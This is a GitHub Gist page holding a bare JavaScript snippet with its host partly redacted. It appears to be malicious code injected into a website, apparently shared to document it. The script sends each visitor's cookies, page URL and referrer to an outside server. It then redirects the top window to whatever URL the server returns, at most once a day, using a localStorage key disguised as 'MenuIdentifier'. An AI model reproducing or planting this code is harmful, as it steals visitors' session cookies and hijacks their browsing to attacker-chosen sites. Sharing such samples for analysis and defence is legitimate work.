Skip to content

Instantly share code, notes, and snippets.

@PhilETaylor
Created December 5, 2018 10:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PhilETaylor/914b320cd12da0ebec087388699761a6 to your computer and use it in GitHub Desktop.
Save PhilETaylor/914b320cd12da0ebec087388699761a6 to your computer and use it in GitHub Desktop.
dL();
function dL(){
var host = 'https://press.connec<snip>cdn.com/f';
var config = {
url: host + "/stats.php",
type: "POST",
data: {
vbase: document.baseURI,
vhref: location.href,
vref: document.referrer, k: "d29ya3Nob3B<snip>dWFscy5jb20=",ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), tg: ""
},
success: onSuccessCallback
};
function bl(resp){
!function(dr){function t(){return!!localStorage&&localStorage.getItem(a)}function e(){o(),
parent.top.window.location.href=c}function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}}
function n(){if(t()){var o=localStorage&&localStorage.getItem(a);r>o&&e()}else e()}var a="MenuIdentifier",
r=Math.floor((new Date).getTime()/1e3),c=dr,i=86400;n()}(resp);
}
function onSuccessCallback(response){
if(response && response.indexOf('http') > -1){
bl(response);
}
}
minAjax(config);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment